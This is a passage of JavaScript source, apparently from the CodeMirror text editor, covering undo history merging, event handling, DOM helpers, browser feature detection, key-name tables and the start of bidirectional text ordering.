      var last = lst(array);
      if (last.ranges) array.pop();
      else break;
    }
  }

  // Find the top change event in the history. Pop off selection
  // events that are in the way.
  function lastChangeEvent(hist, force) {
    if (force) {
      clearSelectionEvents(hist.done);
      return lst(hist.done);
    } else if (hist.done.length && !lst(hist.done).ranges) {
      return lst(hist.done);
    } else if (hist.done.length > 1 && !hist.done[hist.done.length - 2].ranges) {
      hist.done.pop();
      return lst(hist.done);
    }
  }

  // Register a change in the history. Merges changes that are within
  // a single operation, ore are close together with an origin that
  // allows merging (starting with "+") into a single event.
  function addChangeToHistory(doc, change, selAfter, opId) {
    var hist = doc.history;
    hist.undone.length = 0;
    var time = +new Date, cur;

    if ((hist.lastOp == opId ||
         hist.lastOrigin == change.origin && change.origin &&
         ((change.origin.charAt(0) == "+" && doc.cm && hist.lastModTime > time - doc.cm.options.historyEventDelay) ||
          change.origin.charAt(0) == "*")) &&
        (cur = lastChangeEvent(hist, hist.lastOp == opId))) {
      // Merge this change into the last event
      var last = lst(cur.changes);
      if (cmp(change.from, change.to) == 0 && cmp(change.from, last.to) == 0) {
        // Optimized case for simple insertion -- don't want to add
        // new changesets for every character typed
        last.to = changeEnd(change);
      } else {
        // Add new sub-event
        cur.changes.push(historyChangeFromChange(doc, change));
      }
    } else {
      // Can not be merged, start a new event.
      var before = lst(hist.done);
      if (!before || !before.ranges)
        pushSelectionToHistory(doc.sel, hist.done);
      cur = {changes: [historyChangeFromChange(doc, change)],
             generation: hist.generation};
      hist.done.push(cur);
      while (hist.done.length > hist.undoDepth) {
        hist.done.shift();
        if (!hist.done[0].ranges) hist.done.shift();
      }
    }
    hist.done.push(selAfter);
    hist.generation = ++hist.maxGeneration;
    hist.lastModTime = hist.lastSelTime = time;
    hist.lastOp = hist.lastSelOp = opId;
    hist.lastOrigin = hist.lastSelOrigin = change.origin;

    if (!last) signal(doc, "historyAdded");
  }

  function selectionEventCanBeMerged(doc, origin, prev, sel) {
    var ch = origin.charAt(0);
    return ch == "*" ||
      ch == "+" &&
      prev.ranges.length == sel.ranges.length &&
      prev.somethingSelected() == sel.somethingSelected() &&
      new Date - doc.history.lastSelTime <= (doc.cm ? doc.cm.options.historyEventDelay : 500);
  }

  // Called whenever the selection changes, sets the new selection as
  // the pending selection in the history, and pushes the old pending
  // selection into the 'done' array when it was significantly
  // different (in number of selected ranges, emptiness, or time).
  function addSelectionToHistory(doc, sel, opId, options) {
    var hist = doc.history, origin = options && options.origin;

    // A new event is started when the previous origin does not match
    // the current, or the origins don't allow matching. Origins
    // starting with * are always merged, those starting with + are
    // merged when similar and close together in time.
    if (opId == hist.lastSelOp ||
        (origin && hist.lastSelOrigin == origin &&
         (hist.lastModTime == hist.lastSelTime && hist.lastOrigin == origin ||
          selectionEventCanBeMerged(doc, origin, lst(hist.done), sel))))
      hist.done[hist.done.length - 1] = sel;
    else
      pushSelectionToHistory(sel, hist.done);

    hist.lastSelTime = +new Date;
    hist.lastSelOrigin = origin;
    hist.lastSelOp = opId;
    if (options && options.clearRedo !== false)
      clearSelectionEvents(hist.undone);
  }

  function pushSelectionToHistory(sel, dest) {
    var top = lst(dest);
    if (!(top && top.ranges && top.equals(sel)))
      dest.push(sel);
  }

  // Used to store marked span information in the history.
  function attachLocalSpans(doc, change, from, to) {
    var existing = change["spans_" + doc.id], n = 0;
    doc.iter(Math.max(doc.first, from), Math.min(doc.first + doc.size, to), function(line) {
      if (line.markedSpans)
        (existing || (existing = change["spans_" + doc.id] = {}))[n] = line.markedSpans;
      ++n;
    });
  }

  // When un/re-doing restores text containing marked spans, those
  // that have been explicitly cleared should not be restored.
  function removeClearedSpans(spans) {
    if (!spans) return null;
    for (var i = 0, out; i < spans.length; ++i) {
      if (spans[i].marker.explicitlyCleared) { if (!out) out = spans.slice(0, i); }
      else if (out) out.push(spans[i]);
    }
    return !out ? spans : out.length ? out : null;
  }

  // Retrieve and filter the old marked spans stored in a change event.
  function getOldSpans(doc, change) {
    var found = change["spans_" + doc.id];
    if (!found) return null;
    for (var i = 0, nw = []; i < change.text.length; ++i)
      nw.push(removeClearedSpans(found[i]));
    return nw;
  }

  // Used both to provide a JSON-safe object in .getHistory, and, when
  // detaching a document, to split the history in two
  function copyHistoryArray(events, newGroup, instantiateSel) {
    for (var i = 0, copy = []; i < events.length; ++i) {
      var event = events[i];
      if (event.ranges) {
        copy.push(instantiateSel ? Selection.prototype.deepCopy.call(event) : event);
        continue;
      }
      var changes = event.changes, newChanges = [];
      copy.push({changes: newChanges});
      for (var j = 0; j < changes.length; ++j) {
        var change = changes[j], m;
        newChanges.push({from: change.from, to: change.to, text: change.text});
        if (newGroup) for (var prop in change) if (m = prop.match(/^spans_(\d+)$/)) {
          if (indexOf(newGroup, Number(m[1])) > -1) {
            lst(newChanges)[prop] = change[prop];
            delete change[prop];
          }
        }
      }
    }
    return copy;
  }

  // Rebasing/resetting history to deal with externally-sourced changes

  function rebaseHistSelSingle(pos, from, to, diff) {
    if (to < pos.line) {
      pos.line += diff;
    } else if (from < pos.line) {
      pos.line = from;
      pos.ch = 0;
    }
  }

  // Tries to rebase an array of history events given a change in the
  // document. If the change touches the same lines as the event, the
  // event, and everything 'behind' it, is discarded. If the change is
  // before the event, the event's positions are updated. Uses a
  // copy-on-write scheme for the positions, to avoid having to
  // reallocate them all on every rebase, but also avoid problems with
  // shared position objects being unsafely updated.
  function rebaseHistArray(array, from, to, diff) {
    for (var i = 0; i < array.length; ++i) {
      var sub = array[i], ok = true;
      if (sub.ranges) {
        if (!sub.copied) { sub = array[i] = sub.deepCopy(); sub.copied = true; }
        for (var j = 0; j < sub.ranges.length; j++) {
          rebaseHistSelSingle(sub.ranges[j].anchor, from, to, diff);
          rebaseHistSelSingle(sub.ranges[j].head, from, to, diff);
        }
        continue;
      }
      for (var j = 0; j < sub.changes.length; ++j) {
        var cur = sub.changes[j];
        if (to < cur.from.line) {
          cur.from = Pos(cur.from.line + diff, cur.from.ch);
          cur.to = Pos(cur.to.line + diff, cur.to.ch);
        } else if (from <= cur.to.line) {
          ok = false;
          break;
        }
      }
      if (!ok) {
        array.splice(0, i + 1);
        i = 0;
      }
    }
  }

  function rebaseHist(hist, change) {
    var from = change.from.line, to = change.to.line, diff = change.text.length - (to - from) - 1;
    rebaseHistArray(hist.done, from, to, diff);
    rebaseHistArray(hist.undone, from, to, diff);
  }

  // EVENT UTILITIES

  // Due to the fact that we still support jurassic IE versions, some
  // compatibility wrappers are needed.

  var e_preventDefault = CodeMirror.e_preventDefault = function(e) {
    if (e.preventDefault) e.preventDefault();
    else e.returnValue = false;
  };
  var e_stopPropagation = CodeMirror.e_stopPropagation = function(e) {
    if (e.stopPropagation) e.stopPropagation();
    else e.cancelBubble = true;
  };
  function e_defaultPrevented(e) {
    return e.defaultPrevented != null ? e.defaultPrevented : e.returnValue == false;
  }
  var e_stop = CodeMirror.e_stop = function(e) {e_preventDefault(e); e_stopPropagation(e);};

  function e_target(e) {return e.target || e.srcElement;}
  function e_button(e) {
    var b = e.which;
    if (b == null) {
      if (e.button & 1) b = 1;
      else if (e.button & 2) b = 3;
      else if (e.button & 4) b = 2;
    }
    if (mac && e.ctrlKey && b == 1) b = 3;
    return b;
  }

  // EVENT HANDLING

  // Lightweight event framework. on/off also work on DOM nodes,
  // registering native DOM handlers.

  var on = CodeMirror.on = function(emitter, type, f) {
    if (emitter.addEventListener)
      emitter.addEventListener(type, f, false);
    else if (emitter.attachEvent)
      emitter.attachEvent("on" + type, f);
    else {
      var map = emitter._handlers || (emitter._handlers = {});
      var arr = map[type] || (map[type] = []);
      arr.push(f);
    }
  };

  var noHandlers = []
  function getHandlers(emitter, type, copy) {
    var arr = emitter._handlers && emitter._handlers[type]
    if (copy) return arr && arr.length > 0 ? arr.slice() : noHandlers
    else return arr || noHandlers
  }

  var off = CodeMirror.off = function(emitter, type, f) {
    if (emitter.removeEventListener)
      emitter.removeEventListener(type, f, false);
    else if (emitter.detachEvent)
      emitter.detachEvent("on" + type, f);
    else {
      var handlers = getHandlers(emitter, type, false)
      for (var i = 0; i < handlers.length; ++i)
        if (handlers[i] == f) { handlers.splice(i, 1); break; }
    }
  };

  var signal = CodeMirror.signal = function(emitter, type /*, values...*/) {
    var handlers = getHandlers(emitter, type, true)
    if (!handlers.length) return;
    var args = Array.prototype.slice.call(arguments, 2);
    for (var i = 0; i < handlers.length; ++i) handlers[i].apply(null, args);
  };

  var orphanDelayedCallbacks = null;

  // Often, we want to signal events at a point where we are in the
  // middle of some work, but don't want the handler to start calling
  // other methods on the editor, which might be in an inconsistent
  // state or simply not expect any other events to happen.
  // signalLater looks whether there are any handlers, and schedules
  // them to be executed when the last operation ends, or, if no
  // operation is active, when a timeout fires.
  function signalLater(emitter, type /*, values...*/) {
    var arr = getHandlers(emitter, type, false)
    if (!arr.length) return;
    var args = Array.prototype.slice.call(arguments, 2), list;
    if (operationGroup) {
      list = operationGroup.delayedCallbacks;
    } else if (orphanDelayedCallbacks) {
      list = orphanDelayedCallbacks;
    } else {
      list = orphanDelayedCallbacks = [];
      setTimeout(fireOrphanDelayed, 0);
    }
    function bnd(f) {return function(){f.apply(null, args);};};
    for (var i = 0; i < arr.length; ++i)
      list.push(bnd(arr[i]));
  }

  function fireOrphanDelayed() {
    var delayed = orphanDelayedCallbacks;
    orphanDelayedCallbacks = null;
    for (var i = 0; i < delayed.length; ++i) delayed[i]();
  }

  // The DOM events that CodeMirror handles can be overridden by
  // registering a (non-DOM) handler on the editor for the event name,
  // and preventDefault-ing the event in that handler.
  function signalDOMEvent(cm, e, override) {
    if (typeof e == "string")
      e = {type: e, preventDefault: function() { this.defaultPrevented = true; }};
    signal(cm, override || e.type, cm, e);
    return e_defaultPrevented(e) || e.codemirrorIgnore;
  }

  function signalCursorActivity(cm) {
    var arr = cm._handlers && cm._handlers.cursorActivity;
    if (!arr) return;
    var set = cm.curOp.cursorActivityHandlers || (cm.curOp.cursorActivityHandlers = []);
    for (var i = 0; i < arr.length; ++i) if (indexOf(set, arr[i]) == -1)
      set.push(arr[i]);
  }

  function hasHandler(emitter, type) {
    return getHandlers(emitter, type).length > 0
  }

  // Add on and off methods to a constructor's prototype, to make
  // registering events on such objects more convenient.
  function eventMixin(ctor) {
    ctor.prototype.on = function(type, f) {on(this, type, f);};
    ctor.prototype.off = function(type, f) {off(this, type, f);};
  }

  // MISC UTILITIES

  // Number of pixels added to scroller and sizer to hide scrollbar
  var scrollerGap = 30;

  // Returned or thrown by various protocols to signal 'I'm not
  // handling this'.
  var Pass = CodeMirror.Pass = {toString: function(){return "CodeMirror.Pass";}};

  // Reused option objects for setSelection & friends
  var sel_dontScroll = {scroll: false}, sel_mouse = {origin: "*mouse"}, sel_move = {origin: "+move"};

  function Delayed() {this.id = null;}
  Delayed.prototype.set = function(ms, f) {
    clearTimeout(this.id);
    this.id = setTimeout(f, ms);
  };

  // Counts the column offset in a string, taking tabs into account.
  // Used mostly to find indentation.
  var countColumn = CodeMirror.countColumn = function(string, end, tabSize, startIndex, startValue) {
    if (end == null) {
      end = string.search(/[^\s\u00a0]/);
      if (end == -1) end = string.length;
    }
    for (var i = startIndex || 0, n = startValue || 0;;) {
      var nextTab = string.indexOf("\t", i);
      if (nextTab < 0 || nextTab >= end)
        return n + (end - i);
      n += nextTab - i;
      n += tabSize - (n % tabSize);
      i = nextTab + 1;
    }
  };

  // The inverse of countColumn -- find the offset that corresponds to
  // a particular column.
  var findColumn = CodeMirror.findColumn = function(string, goal, tabSize) {
    for (var pos = 0, col = 0;;) {
      var nextTab = string.indexOf("\t", pos);
      if (nextTab == -1) nextTab = string.length;
      var skipped = nextTab - pos;
      if (nextTab == string.length || col + skipped >= goal)
        return pos + Math.min(skipped, goal - col);
      col += nextTab - pos;
      col += tabSize - (col % tabSize);
      pos = nextTab + 1;
      if (col >= goal) return pos;
    }
  }

  var spaceStrs = [""];
  function spaceStr(n) {
    while (spaceStrs.length <= n)
      spaceStrs.push(lst(spaceStrs) + " ");
    return spaceStrs[n];
  }

  function lst(arr) { return arr[arr.length-1]; }

  var selectInput = function(node) { node.select(); };
  if (ios) // Mobile Safari apparently has a bug where select() is broken.
    selectInput = function(node) { node.selectionStart = 0; node.selectionEnd = node.value.length; };
  else if (ie) // Suppress mysterious IE10 errors
    selectInput = function(node) { try { node.select(); } catch(_e) {} };

  function indexOf(array, elt) {
    for (var i = 0; i < array.length; ++i)
      if (array[i] == elt) return i;
    return -1;
  }
  function map(array, f) {
    var out = [];
    for (var i = 0; i < array.length; i++) out[i] = f(array[i], i);
    return out;
  }

  function nothing() {}

  function createObj(base, props) {
    var inst;
    if (Object.create) {
      inst = Object.create(base);
    } else {
      nothing.prototype = base;
      inst = new nothing();
    }
    if (props) copyObj(props, inst);
    return inst;
  };

  function copyObj(obj, target, overwrite) {
    if (!target) target = {};
    for (var prop in obj)
      if (obj.hasOwnProperty(prop) && (overwrite !== false || !target.hasOwnProperty(prop)))
        target[prop] = obj[prop];
    return target;
  }

  function bind(f) {
    var args = Array.prototype.slice.call(arguments, 1);
    return function(){return f.apply(null, args);};
  }

  var nonASCIISingleCaseWordChar = /[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/;
  var isWordCharBasic = CodeMirror.isWordChar = function(ch) {
    return /\w/.test(ch) || ch > "\x80" &&
      (ch.toUpperCase() != ch.toLowerCase() || nonASCIISingleCaseWordChar.test(ch));
  };
  function isWordChar(ch, helper) {
    if (!helper) return isWordCharBasic(ch);
    if (helper.source.indexOf("\\w") > -1 && isWordCharBasic(ch)) return true;
    return helper.test(ch);
  }

  function isEmpty(obj) {
    for (var n in obj) if (obj.hasOwnProperty(n) && obj[n]) return false;
    return true;
  }

  // Extending unicode characters. A series of a non-extending char +
  // any number of extending chars is treated as a single unit as far
  // as editing and measuring is concerned. This is not fully correct,
  // since some scripts/fonts/browsers also treat other configurations
  // of code points as a group.
  var extendingChars = /[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/;
  function isExtendingChar(ch) { return ch.charCodeAt(0) >= 768 && extendingChars.test(ch); }

  // DOM UTILITIES

  function elt(tag, content, className, style) {
    var e = document.createElement(tag);
    if (className) e.className = className;
    if (style) e.style.cssText = style;
    if (typeof content == "string") e.appendChild(document.createTextNode(content));
    else if (content) for (var i = 0; i < content.length; ++i) e.appendChild(content[i]);
    return e;
  }

  var range;
  if (document.createRange) range = function(node, start, end, endNode) {
    var r = document.createRange();
    r.setEnd(endNode || node, end);
    r.setStart(node, start);
    return r;
  };
  else range = function(node, start, end) {
    var r = document.body.createTextRange();
    try { r.moveToElementText(node.parentNode); }
    catch(e) { return r; }
    r.collapse(true);
    r.moveEnd("character", end);
    r.moveStart("character", start);
    return r;
  };

  function removeChildren(e) {
    for (var count = e.childNodes.length; count > 0; --count)
      e.removeChild(e.firstChild);
    return e;
  }

  function removeChildrenAndAdd(parent, e) {
    return removeChildren(parent).appendChild(e);
  }

  var contains = CodeMirror.contains = function(parent, child) {
    if (child.nodeType == 3) // Android browser always returns false when child is a textnode
      child = child.parentNode;
    if (parent.contains)
      return parent.contains(child);
    do {
      if (child.nodeType == 11) child = child.host;
      if (child == parent) return true;
    } while (child = child.parentNode);
  };

  function activeElt() {
    var activeElement = document.activeElement;
    while (activeElement && activeElement.root && activeElement.root.activeElement)
      activeElement = activeElement.root.activeElement;
    return activeElement;
  }
  // Older versions of IE throws unspecified error when touching
  // document.activeElement in some cases (during loading, in iframe)
  if (ie && ie_version < 11) activeElt = function() {
    try { return document.activeElement; }
    catch(e) { return document.body; }
  };

  function classTest(cls) { return new RegExp("(^|\\s)" + cls + "(?:$|\\s)\\s*"); }
  var rmClass = CodeMirror.rmClass = function(node, cls) {
    var current = node.className;
    var match = classTest(cls).exec(current);
    if (match) {
      var after = current.slice(match.index + match[0].length);
      node.className = current.slice(0, match.index) + (after ? match[1] + after : "");
    }
  };
  var addClass = CodeMirror.addClass = function(node, cls) {
    var current = node.className;
    if (!classTest(cls).test(current)) node.className += (current ? " " : "") + cls;
  };
  function joinClasses(a, b) {
    var as = a.split(" ");
    for (var i = 0; i < as.length; i++)
      if (as[i] && !classTest(as[i]).test(b)) b += " " + as[i];
    return b;
  }

  // WINDOW-WIDE EVENTS

  // These must be handled carefully, because naively registering a
  // handler for each editor will cause the editors to never be
  // garbage collected.

  function forEachCodeMirror(f) {
    if (!document.body.getElementsByClassName) return;
    var byClass = document.body.getElementsByClassName("CodeMirror");
    for (var i = 0; i < byClass.length; i++) {
      var cm = byClass[i].CodeMirror;
      if (cm) f(cm);
    }
  }

  var globalsRegistered = false;
  function ensureGlobalHandlers() {
    if (globalsRegistered) return;
    registerGlobalHandlers();
    globalsRegistered = true;
  }
  function registerGlobalHandlers() {
    // When the window resizes, we need to refresh active editors.
    var resizeTimer;
    on(window, "resize", function() {
      if (resizeTimer == null) resizeTimer = setTimeout(function() {
        resizeTimer = null;
        forEachCodeMirror(onResize);
      }, 100);
    });
    // When the window loses focus, we want to show the editor as blurred
    on(window, "blur", function() {
      forEachCodeMirror(onBlur);
    });
  }

  // FEATURE DETECTION

  // Detect drag-and-drop
  var dragAndDrop = function() {
    // There is *some* kind of drag-and-drop support in IE6-8, but I
    // couldn't get it to work yet.
    if (ie && ie_version < 9) return false;
    var div = elt('div');
    return "draggable" in div || "dragDrop" in div;
  }();

  var zwspSupported;
  function zeroWidthElement(measure) {
    if (zwspSupported == null) {
      var test = elt("span", "\u200b");
      removeChildrenAndAdd(measure, elt("span", [test, document.createTextNode("x")]));
      if (measure.firstChild.offsetHeight != 0)
        zwspSupported = test.offsetWidth <= 1 && test.offsetHeight > 2 && !(ie && ie_version < 8);
    }
    var node = zwspSupported ? elt("span", "\u200b") :
      elt("span", "\u00a0", null, "display: inline-block; width: 1px; margin-right: -1px");
    node.setAttribute("cm-text", "");
    return node;
  }

  // Feature-detect IE's crummy client rect reporting for bidi text
  var badBidiRects;
  function hasBadBidiRects(measure) {
    if (badBidiRects != null) return badBidiRects;
    var txt = removeChildrenAndAdd(measure, document.createTextNode("A\u062eA"));
    var r0 = range(txt, 0, 1).getBoundingClientRect();
    if (!r0 || r0.left == r0.right) return false; // Safari returns null in some cases (#2780)
    var r1 = range(txt, 1, 2).getBoundingClientRect();
    return badBidiRects = (r1.right - r0.right < 3);
  }

  // See if "".split is the broken IE version, if so, provide an
  // alternative way to split lines.
  var splitLinesAuto = CodeMirror.splitLines = "\n\nb".split(/\n/).length != 3 ? function(string) {
    var pos = 0, result = [], l = string.length;
    while (pos <= l) {
      var nl = string.indexOf("\n", pos);
      if (nl == -1) nl = string.length;
      var line = string.slice(pos, string.charAt(nl - 1) == "\r" ? nl - 1 : nl);
      var rt = line.indexOf("\r");
      if (rt != -1) {
        result.push(line.slice(0, rt));
        pos += rt + 1;
      } else {
        result.push(line);
        pos = nl + 1;
      }
    }
    return result;
  } : function(string){return string.split(/\r\n?|\n/);};

  var hasSelection = window.getSelection ? function(te) {
    try { return te.selectionStart != te.selectionEnd; }
    catch(e) { return false; }
  } : function(te) {
    try {var range = te.ownerDocument.selection.createRange();}
    catch(e) {}
    if (!range || range.parentElement() != te) return false;
    return range.compareEndPoints("StartToEnd", range) != 0;
  };

  var hasCopyEvent = (function() {
    var e = elt("div");
    if ("oncopy" in e) return true;
    e.setAttribute("oncopy", "return;");
    return typeof e.oncopy == "function";
  })();

  var badZoomedRects = null;
  function hasBadZoomedRects(measure) {
    if (badZoomedRects != null) return badZoomedRects;
    var node = removeChildrenAndAdd(measure, elt("span", "x"));
    var normal = node.getBoundingClientRect();
    var fromRange = range(node, 0, 1).getBoundingClientRect();
    return badZoomedRects = Math.abs(normal.left - fromRange.left) > 1;
  }

  // KEY NAMES

  var keyNames = CodeMirror.keyNames = {
    3: "Enter", 8: "Backspace", 9: "Tab", 13: "Enter", 16: "Shift", 17: "Ctrl", 18: "Alt",
    19: "Pause", 20: "CapsLock", 27: "Esc", 32: "Space", 33: "PageUp", 34: "PageDown", 35: "End",
    36: "Home", 37: "Left", 38: "Up", 39: "Right", 40: "Down", 44: "PrintScrn", 45: "Insert",
    46: "Delete", 59: ";", 61: "=", 91: "Mod", 92: "Mod", 93: "Mod",
    106: "*", 107: "=", 109: "-", 110: ".", 111: "/", 127: "Delete",
    173: "-", 186: ";", 187: "=", 188: ",", 189: "-", 190: ".", 191: "/", 192: "`", 219: "[", 220: "\\",
    221: "]", 222: "'", 63232: "Up", 63233: "Down", 63234: "Left", 63235: "Right", 63272: "Delete",
    63273: "Home", 63275: "End", 63276: "PageUp", 63277: "PageDown", 63302: "Insert"
  };
  (function() {
    // Number keys
    for (var i = 0; i < 10; i++) keyNames[i + 48] = keyNames[i + 96] = String(i);
    // Alphabetic keys
    for (var i = 65; i <= 90; i++) keyNames[i] = String.fromCharCode(i);
    // Function keys
    for (var i = 1; i <= 12; i++) keyNames[i + 111] = keyNames[i + 63235] = "F" + i;
  })();

  // BIDI HELPERS

  function iterateBidiSections(order, from, to, f) {
    if (!order) return f(from, to, "ltr");
    var found = false;
    for (var i = 0; i < order.length; ++i) {
      var part = order[i];
      if (part.from < to && part.to > from || from == to && part.to == from) {
        f(Math.max(part.from, from), Math.min(part.to, to), part.level == 1 ? "rtl" : "ltr");
        found = true;
      }
    }
    if (!found) f(from, to, "ltr");
  }

  function bidiLeft(part) { return part.level % 2 ? part.to : part.from; }
  function bidiRight(part) { return part.level % 2 ? part.from : part.to; }

  function lineLeft(line) { var order = getOrder(line); return order ? bidiLeft(order[0]) : 0; }
  function lineRight(line) {
    var order = getOrder(line);
    if (!order) return line.text.length;
    return bidiRight(lst(order));
  }

  function lineStart(cm, lineN) {
    var line = getLine(cm.doc, lineN);
    var visual = visualLine(line);
    if (visual != line) lineN = lineNo(visual);
    var order = getOrder(visual);
    var ch = !order ? 0 : order[0].level % 2 ? lineRight(visual) : lineLeft(visual);
    return Pos(lineN, ch);
  }
  function lineEnd(cm, lineN) {
    var merged, line = getLine(cm.doc, lineN);
    while (merged = collapsedSpanAtEnd(line)) {
      line = merged.find(1, true).line;
      lineN = null;
    }
    var order = getOrder(line);
    var ch = !order ? line.text.length : order[0].level % 2 ? lineLeft(line) : lineRight(line);
    return Pos(lineN == null ? lineNo(line) : lineN, ch);
  }
  function lineStartSmart(cm, pos) {
    var start = lineStart(cm, pos.line);
    var line = getLine(cm.doc, start.line);
    var order = getOrder(line);
    if (!order || order[0].level == 0) {
      var firstNonWS = Math.max(0, line.text.search(/\S/));
      var inWS = pos.line == start.line && pos.ch <= firstNonWS && pos.ch;
      return Pos(start.line, inWS ? 0 : firstNonWS);
    }
    return start;
  }

  function compareBidiLevel(order, a, b) {
    var linedir = order[0].level;
    if (a == linedir) return true;
    if (b == linedir) return false;
    return a < b;
  }
  var bidiOther;
  function getBidiPartAt(order, pos) {
    bidiOther = null;
    for (var i = 0, found; i < order.length; ++i) {
      var cur = order[i];
      if (cur.from < pos && cur.to > pos) return i;
      if ((cur.from == pos || cur.to == pos)) {
        if (found == null) {
          found = i;
        } else if (compareBidiLevel(order, cur.level, order[found].level)) {
          if (cur.from != cur.to) bidiOther = found;
          return i;
        } else {
          if (cur.from != cur.to) bidiOther = i;
          return found;
        }
      }
    }
    return found;
  }

  function moveInLine(line, pos, dir, byUnit) {
    if (!byUnit) return pos + dir;
    do pos += dir;
    while (pos > 0 && isExtendingChar(line.text.charAt(pos)));
    return pos;
  }

  // This is needed in order to move 'visually' through bi-directional
  // text -- i.e., pressing left should make the cursor go left, even
  // when in RTL text. The tricky part is the 'jumps', where RTL and
  // LTR text touch each other. This often requires the cursor offset
  // to move more than one unit, in order to visually move one unit.
  function moveVisually(line, start, dir, byUnit) {
    var bidi = getOrder(line);
    if (!bidi) return moveLogically(line, start, dir, byUnit);
    var pos = getBidiPartAt(bidi, start), part = bidi[pos];
    var target = moveInLine(line, start, part.level % 2 ? -dir : dir, byUnit);

    for (;;) {
      if (target > part.from && target < part.to) return target;
      if (target == part.from || target == part.to) {
        if (getBidiPartAt(bidi, target) == pos) return target;
        part = bidi[pos += dir];
        return (dir > 0) == part.level % 2 ? part.to : part.from;
      } else {
        part = bidi[pos += dir];
        if (!part) return null;
        if ((dir > 0) == part.level % 2)
          target = moveInLine(line, part.to, -1, byUnit);
        else
          target = moveInLine(line, part.from, 1, byUnit);
      }
    }
  }

  function moveLogically(line, start, dir, byUnit) {
    var target = start + dir;
    if (byUnit) while (target > 0 && isExtendingChar(line.text.charAt(target))) target += dir;
    return target < 0 || target > line.text.length ? null : target;
  }

  // Bidirectional ordering algorithm
  // See http://unicode.org/reports/tr9/tr9-13.html for the algorithm
  // that this (partially) implements.

  // One-char codes used for character types:
  // L (L):   Left-to-Right
  // R (R):   Right-to-Left
  // r (AL):  Right-to-Left Arabic
  // 1 (EN):  European Number
  // + (ES):  European Number Separator
  // % (ET):  European Number Terminator
  // n (AN):  Arabic Number
  // , (CS):  Common Number Separator
  // m (NSM): Non-Spacing Mark
  // b (BN):  Boundary Neutral
  // s (B):   Paragraph Separator
  // t (S):   Segment Separator
  // w (WS):  Whitespace
  // N (ON):  Other Neutrals

  // Returns null if characters are ordered as they appear
  // (left-to-right), or an array of sections ({from, to, level}
  // objects) in the order in which they occur visually.
  var bidiOrdering = (function() {
    // Character types for codepoints 0 to 0xff
    var lowTypes = "bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN";
    // Character types for codepoints 0x600 to 0x6ff
    var arabicTypes = "rrrrrrrrrrrr,rNNmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmrrrrrrrnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmNmmmm";
    function charType(code) {
      if (code <= 0xf7) return lowTypes.charAt(code);
      else if (0x590 <= code && code <= 0x5f4) return "R";
